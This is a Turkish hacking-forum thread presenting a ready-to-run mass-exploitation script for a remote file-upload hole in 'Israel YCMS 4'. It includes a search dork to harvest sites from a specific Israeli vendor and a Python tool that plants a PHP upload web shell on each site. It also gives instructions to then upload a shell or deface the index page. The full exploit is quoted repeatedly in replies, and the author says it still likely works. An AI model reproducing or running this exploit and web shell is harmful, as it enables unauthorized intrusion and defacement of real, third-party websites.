İsrael YCMS 4 - Remote File Upload / Shell Upload

K4TANA · 27 May 2024

OBT is HeRYerDe' Alıntı:
Merhaba Değerli Türk Hack Team Üyeleri
Bu Konumuzda İsrael YCMS 4 Webapps'ta Remote File Upload Zafiyetini İnceleyeceğiz!

[+] Hedef Toplama

Dork: intext:נבנה ע"י לק"י בניית אתרים

Öncelikle Dorkumuzu Taratıp Siteleri Topluyorum

Ardından Topladığım Siteleri 'domains.txt' Diye Kaydediyorum.

[+] Exploit İle Zafiyeti Sömürme

Python:

import requests # type: ignore import re from colorama import * import os if os.name == 'nt': os.system('cls') else: os.system('clear') init() code_up = """ <!DOCTYPE html> <html> <head> <title>1933-SS</title> <style> body { background-color: black; text-align: center; } h1 { color: red; } .uploaded { color: green; } </style> </head> <body> <h1>1933-ss cyber team</h1> <form enctype='multipart/form-data' action='' method='POST'> <input type='file' name='uploaded_file'></input> <input type='submit' value='Upload'></input> </form> </body> </html> <?php if (!empty($_FILES['uploaded_file'])) { $upload_dir = './'; // Define the directory where you want to save the uploaded files $file_name = basename($_FILES['uploaded_file']['name']); $file_path = $upload_dir . $file_name; if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $file_path)) { echo '<span class="uploaded">The file ' . $file_name . ' has been uploaded.</span>'; } else { echo '<h1>There was an error uploading the file, please try again.</h1>'; } } ?> """ banner = Fore.RED +""" ) ( ( ) ( ( ( /( )\ ))\ ) ( /( )\ ) * ) )\ ( ( ( ( )\()|()/(()/( )\()|()/(` ) /( (((_) )\ )\ )\ )\ ((_)\ /(_))(_)|(_)\ /(_))( )(_)) )\___((_)((_|(_) ((_)__((_|_))(_)) ((_|_)) (_(_()) ((/ __\ \ / /| __| | __\ \/ / _ \ | / _ \_ _||_ _| | (__ \ V / | _| | _| > <| _/ |__| (_) | | | | \___| \_/ |___| |___/_/\_\_| |____|\___/___| |_| """ banner2 = "\nAuthor :" + Fore.RED +""" @obttht""" print(banner+banner2+Fore.WHITE) websites = input("\nWebsite List: ") websites = open(websites,"r").read().split("\n") for url in websites: try: value = "yadmin/apps/browser.php?op=gallery&CKEditor=page-content&CKEditorFuncNum=1&langCode=en" upload_url = url+'/yadmin/apps/browser.php?op=upload&type=other&id=*' uploader = {'upload-to-gallery[]': ('ss.php',code_up)} response = requests.post(upload_url, files=uploader , timeout=3) except: pass try: response = requests.get(url+value,timeout=10) if response.status_code == 200: match = re.search(r'/ss(\d+\.php)', response.text) if match: value = match.group(1) print(Fore.GREEN +url+f"uploads/other/ss{value}") else: print(Fore.RED+f"Request to {url} failed with status code {response.status_code}"+Fore.WHITE) except: continue

Exploiti 'exp.py' Diye Kaydediyorum Ve Çalıştırıyorum

Bizden Website List İstiyor 'domains.txt' Diye Kaydettiğimiz Dosyayı List Olarak Belirtiyoruz Ve Enterliyoruz

Exploit Siteye Uploader'i Başarılı Bir Şekilde Enjekte Etti!

[+] İndex / Shell Upload

Exploitin Verdiği URL Bizi Uploader'e Yönlendiriyor, Buradan Shell Veya İndex Basıyoruz Ve Görev Tamam!

[-] Title : israel YCMS 4 - Remote File Upload - CSRF / Shell Upload[-] Author : 1933 (TURK TM - SS CYBER)[-] Vendor : https://website.laki.co.il/[-] Category : Webapps[-] Dork : intext:נבנה ע"י לק"י בניית אתרים[-] Date : 20/11/2023

https://cxsecurity.com/issue/WLB-2023110032

elinize sağlık hocam bilgi ve deneyim konuşturmuşsunuz

CiHaN-i TuRaN · 27 May 2024

Elinize ve emeğinize sağlık

OBT is HeRYerDe · 27 May 2024

Toryy' Alıntı:
Emeğine sağlık qardaş

x1axe' Alıntı:
eline sağlık hocam

SiberAslan' Alıntı:
Eline saglik hocam

Xlog' Alıntı:
Emeğinize sağlık hocam

CiHaN-i TuRaN' Alıntı:
Elinize ve emeğinize sağlık

K4TANA' Alıntı:
elinize sağlık hocam bilgi ve deneyim konuşturmuşsunuz

Teşekkürler.

aylakadam55 · 27 May 2024

OBT is HeRYerDe' Alıntı:

Merhaba Değerli Türk Hack Team Üyeleri
Bu Konumuzda İsrael YCMS 4 Webapps'ta Remote File Upload Zafiyetini İnceleyeceğiz!

[+] Hedef Toplama

Dork: intext:נבנה ע"י לק"י בניית אתרים

Öncelikle Dorkumuzu Taratıp Siteleri Topluyorum

Ardından Topladığım Siteleri 'domains.txt' Diye Kaydediyorum.

[+] Exploit İle Zafiyeti Sömürme

Python:

import requests # type: ignore
import re
from colorama import *
import os
if os.name == 'nt':
    os.system('cls')
else:
    os.system('clear')
init()
code_up = """
<!DOCTYPE html>
<html>
<head>
<title>1933-SS</title>
<style>
body {
background-color: black;
text-align: center;
}
h1 {
color: red;
}
.uploaded {
color: green;
}
</style>
</head>
<body>
<h1>1933-ss cyber team</h1>
<form enctype='multipart/form-data' action='' method='POST'>
<input type='file' name='uploaded_file'></input>
<input type='submit' value='Upload'></input>
</form>
</body>
</html>
<?php
if (!empty($_FILES['uploaded_file'])) {
$upload_dir = './'; // Define the directory where you want to save the uploaded files
$file_name = basename($_FILES['uploaded_file']['name']);
$file_path = $upload_dir . $file_name;
if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $file_path)) {
echo '<span class="uploaded">The file ' . $file_name . ' has been uploaded.</span>';
} else {
echo '<h1>There was an error uploading the file, please try again.</h1>';
}
}
?>
"""
banner = Fore.RED +"""

                           ) (   (       ) (     
   (                    ( /( )\ ))\ ) ( /( )\ )  *   )
   )\  (   (  (     (   )\()|()/(()/( )\()|()/(` )  /(
(((_) )\  )\ )\    )\ ((_)\ /(_))(_)|(_)\ /(_))( )(_))
)\___((_)((_|(_)  ((_)__((_|_))(_))   ((_|_)) (_(_())
((/ __\ \ / /| __| | __\ \/ / _ \ |   / _ \_ _||_   _|
| (__ \ V / | _|  | _| >  <|  _/ |__| (_) | |   | |
  \___| \_/  |___| |___/_/\_\_| |____|\___/___|  |_|
                                                 
"""
banner2 = "\nAuthor :" + Fore.RED +""" @obttht"""
print(banner+banner2+Fore.WHITE)
websites = input("\nWebsite List: ")
websites = open(websites,"r").read().split("\n")
for url in websites:
    try:
        value = "yadmin/apps/browser.php?op=gallery&CKEditor=page-content&CKEditorFuncNum=1&langCode=en"
        upload_url = url+'/yadmin/apps/browser.php?op=upload&type=other&id=*'
        uploader = {'upload-to-gallery[]': ('ss.php',code_up)}
        response = requests.post(upload_url, files=uploader , timeout=3)
    except:
        pass
    try:
        response = requests.get(url+value,timeout=10)
        if response.status_code == 200:
            match = re.search(r'/ss(\d+\.php)', response.text)
            if match:
                value = match.group(1)
                print(Fore.GREEN +url+f"uploads/other/ss{value}")
            else:
                print(Fore.RED+f"Request to {url} failed with status code {response.status_code}"+Fore.WHITE)
    except:
        continue

Exploiti 'exp.py' Diye Kaydediyorum Ve Çalıştırıyorum

Bizden Website List İstiyor 'domains.txt' Diye Kaydettiğimiz Dosyayı List Olarak Belirtiyoruz Ve Enterliyoruz

Exploit Siteye Uploader'i Başarılı Bir Şekilde Enjekte Etti!

[+] İndex / Shell Upload

Exploitin Verdiği URL Bizi Uploader'e Yönlendiriyor, Buradan Shell Veya İndex Basıyoruz Ve Görev Tamam!

[-] Title : israel YCMS 4 - Remote File Upload - CSRF / Shell Upload[-] Author : 1933 (TURK TM - SS CYBER)[-] Vendor : https://website.laki.co.il/[-] Category : Webapps[-] Dork : intext:נבנה ע"י לק"י בניית אתרים[-] Date : 20/11/2023

https://cxsecurity.com/issue/WLB-2023110032

Çok saolun hocam

PRF DR · 27 May 2024

Allah'na kurban senin.

blacksmt · 27 May 2024

Elinize sağlık hocam başarılı olmuş

OBT is HeRYerDe · 27 May 2024

aylakadam55' Alıntı:
Çok saolun hocam

PRF DR' Alıntı:
Allah'na kurban senin.

blacksmt' Alıntı:
Elinize sağlık hocam başarılı olmuş

Teşekkürler.

blacksmt · 27 May 2024

OBT is HeRYerDe' Alıntı:
Teşekkürler.

Sitedeki zafiyet nedir hocam detayları bekliyoruz merak ettim

`Pala · 27 May 2024

Elinize sağlık o7

SecurityFaTHeR · 27 May 2024

eline sağlık abi

OBT is HeRYerDe · 28 May 2024

`Pala' Alıntı:
Elinize sağlık o7

SecurityFaTHeR' Alıntı:
eline sağlık abi

Teşekkürler.

blacksmt' Alıntı:
Sitedeki zafiyet nedir hocam detayları bekliyoruz merak ettim

Merhaba, '/yadmin/apps/browser.php' Üzerinden Dosya Upload Edebiliyoruz Ve Burdan Shell, Uploder Gibi Dosyaları Enjekte Edebiliyoruz. Detaylar İçin Exploiti İncele, İyi Forumlar.

Hacker 1K.v2 · 14 Ara 2024

Aktif mi hala?

spyizxa1 · 14 Ara 2024

OBT is HeRYerDe' Alıntı:

Merhaba Değerli Türk Hack Team Üyeleri
Bu Konumuzda İsrael YCMS 4 Webapps'ta Remote File Upload Zafiyetini İnceleyeceğiz!

[+] Hedef Toplama

Dork: intext:נבנה ע"י לק"י בניית אתרים

Öncelikle Dorkumuzu Taratıp Siteleri Topluyorum

Ardından Topladığım Siteleri 'domains.txt' Diye Kaydediyorum.

[+] Exploit İle Zafiyeti Sömürme

Python:

import requests # type: ignore
import re
from colorama import *
import os
if os.name == 'nt':
    os.system('cls')
else:
    os.system('clear')
init()
code_up = """
<!DOCTYPE html>
<html>
<head>
<title>1933-SS</title>
<style>
body {
background-color: black;
text-align: center;
}
h1 {
color: red;
}
.uploaded {
color: green;
}
</style>
</head>
<body>
<h1>1933-ss cyber team</h1>
<form enctype='multipart/form-data' action='' method='POST'>
<input type='file' name='uploaded_file'></input>
<input type='submit' value='Upload'></input>
</form>
</body>
</html>
<?php
if (!empty($_FILES['uploaded_file'])) {
$upload_dir = './'; // Define the directory where you want to save the uploaded files
$file_name = basename($_FILES['uploaded_file']['name']);
$file_path = $upload_dir . $file_name;
if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $file_path)) {
echo '<span class="uploaded">The file ' . $file_name . ' has been uploaded.</span>';
} else {
echo '<h1>There was an error uploading the file, please try again.</h1>';
}
}
?>
"""
banner = Fore.RED +"""

                           ) (   (       ) (     
   (                    ( /( )\ ))\ ) ( /( )\ )  *   )
   )\  (   (  (     (   )\()|()/(()/( )\()|()/(` )  /(
(((_) )\  )\ )\    )\ ((_)\ /(_))(_)|(_)\ /(_))( )(_))
)\___((_)((_|(_)  ((_)__((_|_))(_))   ((_|_)) (_(_())
((/ __\ \ / /| __| | __\ \/ / _ \ |   / _ \_ _||_   _|
| (__ \ V / | _|  | _| >  <|  _/ |__| (_) | |   | |
  \___| \_/  |___| |___/_/\_\_| |____|\___/___|  |_|
                                                 
"""
banner2 = "\nAuthor :" + Fore.RED +""" @obttht"""
print(banner+banner2+Fore.WHITE)
websites = input("\nWebsite List: ")
websites = open(websites,"r").read().split("\n")
for url in websites:
    try:
        value = "yadmin/apps/browser.php?op=gallery&CKEditor=page-content&CKEditorFuncNum=1&langCode=en"
        upload_url = url+'/yadmin/apps/browser.php?op=upload&type=other&id=*'
        uploader = {'upload-to-gallery[]': ('ss.php',code_up)}
        response = requests.post(upload_url, files=uploader , timeout=3)
    except:
        pass
    try:
        response = requests.get(url+value,timeout=10)
        if response.status_code == 200:
            match = re.search(r'/ss(\d+\.php)', response.text)
            if match:
                value = match.group(1)
                print(Fore.GREEN +url+f"uploads/other/ss{value}")
            else:
                print(Fore.RED+f"Request to {url} failed with status code {response.status_code}"+Fore.WHITE)
    except:
        continue

Exploiti 'exp.py' Diye Kaydediyorum Ve Çalıştırıyorum

Bizden Website List İstiyor 'domains.txt' Diye Kaydettiğimiz Dosyayı List Olarak Belirtiyoruz Ve Enterliyoruz

Exploit Siteye Uploader'i Başarılı Bir Şekilde Enjekte Etti!

[+] İndex / Shell Upload

Exploitin Verdiği URL Bizi Uploader'e Yönlendiriyor, Buradan Shell Veya İndex Basıyoruz Ve Görev Tamam!

[-] Title : israel YCMS 4 - Remote File Upload - CSRF / Shell Upload[-] Author : 1933 (TURK TM - SS CYBER)[-] Vendor : https://website.laki.co.il/[-] Category : Webapps[-] Dork : intext:נבנה ע"י לק"י בניית אתרים[-] Date : 20/11/2023

https://cxsecurity.com/issue/WLB-2023110032

Baya güzel olmuş eline sağlık

egemizah · 14 Ara 2024

OBT is HeRYerDe' Alıntı:

Merhaba Değerli Türk Hack Team Üyeleri
Bu Konumuzda İsrael YCMS 4 Webapps'ta Remote File Upload Zafiyetini İnceleyeceğiz!

[+] Hedef Toplama

Dork: intext:נבנה ע"י לק"י בניית אתרים

Öncelikle Dorkumuzu Taratıp Siteleri Topluyorum

Ardından Topladığım Siteleri 'domains.txt' Diye Kaydediyorum.

[+] Exploit İle Zafiyeti Sömürme

Python:

import requests # type: ignore
import re
from colorama import *
import os
if os.name == 'nt':
    os.system('cls')
else:
    os.system('clear')
init()
code_up = """
<!DOCTYPE html>
<html>
<head>
<title>1933-SS</title>
<style>
body {
background-color: black;
text-align: center;
}
h1 {
color: red;
}
.uploaded {
color: green;
}
</style>
</head>
<body>
<h1>1933-ss cyber team</h1>
<form enctype='multipart/form-data' action='' method='POST'>
<input type='file' name='uploaded_file'></input>
<input type='submit' value='Upload'></input>
</form>
</body>
</html>
<?php
if (!empty($_FILES['uploaded_file'])) {
$upload_dir = './'; // Define the directory where you want to save the uploaded files
$file_name = basename($_FILES['uploaded_file']['name']);
$file_path = $upload_dir . $file_name;
if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $file_path)) {
echo '<span class="uploaded">The file ' . $file_name . ' has been uploaded.</span>';
} else {
echo '<h1>There was an error uploading the file, please try again.</h1>';
}
}
?>
"""
banner = Fore.RED +"""

                           ) (   (       ) (     
   (                    ( /( )\ ))\ ) ( /( )\ )  *   )
   )\  (   (  (     (   )\()|()/(()/( )\()|()/(` )  /(
(((_) )\  )\ )\    )\ ((_)\ /(_))(_)|(_)\ /(_))( )(_))
)\___((_)((_|(_)  ((_)__((_|_))(_))   ((_|_)) (_(_())
((/ __\ \ / /| __| | __\ \/ / _ \ |   / _ \_ _||_   _|
| (__ \ V / | _|  | _| >  <|  _/ |__| (_) | |   | |
  \___| \_/  |___| |___/_/\_\_| |____|\___/___|  |_|
                                                 
"""
banner2 = "\nAuthor :" + Fore.RED +""" @obttht"""
print(banner+banner2+Fore.WHITE)
websites = input("\nWebsite List: ")
websites = open(websites,"r").read().split("\n")
for url in websites:
    try:
        value = "yadmin/apps/browser.php?op=gallery&CKEditor=page-content&CKEditorFuncNum=1&langCode=en"
        upload_url = url+'/yadmin/apps/browser.php?op=upload&type=other&id=*'
        uploader = {'upload-to-gallery[]': ('ss.php',code_up)}
        response = requests.post(upload_url, files=uploader , timeout=3)
    except:
        pass
    try:
        response = requests.get(url+value,timeout=10)
        if response.status_code == 200:
            match = re.search(r'/ss(\d+\.php)', response.text)
            if match:
                value = match.group(1)
                print(Fore.GREEN +url+f"uploads/other/ss{value}")
            else:
                print(Fore.RED+f"Request to {url} failed with status code {response.status_code}"+Fore.WHITE)
    except:
        continue

Exploiti 'exp.py' Diye Kaydediyorum Ve Çalıştırıyorum

Bizden Website List İstiyor 'domains.txt' Diye Kaydettiğimiz Dosyayı List Olarak Belirtiyoruz Ve Enterliyoruz

Exploit Siteye Uploader'i Başarılı Bir Şekilde Enjekte Etti!

[+] İndex / Shell Upload

Exploitin Verdiği URL Bizi Uploader'e Yönlendiriyor, Buradan Shell Veya İndex Basıyoruz Ve Görev Tamam!

[-] Title : israel YCMS 4 - Remote File Upload - CSRF / Shell Upload[-] Author : 1933 (TURK TM - SS CYBER)[-] Vendor : https://website.laki.co.il/[-] Category : Webapps[-] Dork : intext:נבנה ע"י לק"י בניית אתרים[-] Date : 20/11/2023

https://cxsecurity.com/issue/WLB-2023110032

Elinize emeginize saglık hocam

OBT is HeRYerDe · 14 Ara 2024

spyizxa1' Alıntı:
Baya güzel olmuş eline sağlık

egemizah' Alıntı:
Elinize emeginize saglık hocam

Eyvallah Kardeşlerim.

Hacker 1K.v2' Alıntı:
Aktif mi hala?

Vardır Hâlâ İllaki Kardeşim, Denemek Bedava.

Hacker 1K.v2 · 14 Ara 2024

OBT is HeRYerDe' Alıntı:
Eyvallah Kardeşlerim.

Vardır Hâlâ İllaki Kardeşim, Denemek Bedava.

Yapamadımda kodda hata olabilir 2 tane yapıyo kapatıyo kendini

OBT is HeRYerDe · 14 Ara 2024

Hacker 1K.v2' Alıntı:
Yapamadımda kodda hata olabilir 2 tane yapıyo kapatıyo kendini

Linuxta Dene, Çok Site Topla Dork Geliştirilebilir.

B4R1SCYB3R · 16 Mar 2025

HELAL olsun

İsrael YCMS 4 - Remote File Upload / Shell Upload

K4TANA

Üye

CiHaN-i TuRaN

Kıdemli Üye

OBT is HeRYerDe

Kıdemli Üye

aylakadam55

Üye

PRF DR

Üye

blacksmt

Uzman üye

OBT is HeRYerDe

Kıdemli Üye

blacksmt

Uzman üye

`Pala

Katılımcı Üye

SecurityFaTHeR

Uzman üye

OBT is HeRYerDe

Kıdemli Üye

Hacker 1K.v2

Katılımcı Üye

spyizxa1

Katılımcı Üye

egemizah

Uzman üye

OBT is HeRYerDe

Kıdemli Üye

Hacker 1K.v2

Katılımcı Üye

OBT is HeRYerDe

Kıdemli Üye

B4R1SCYB3R

Üye

Sosyal medya sayfalarımız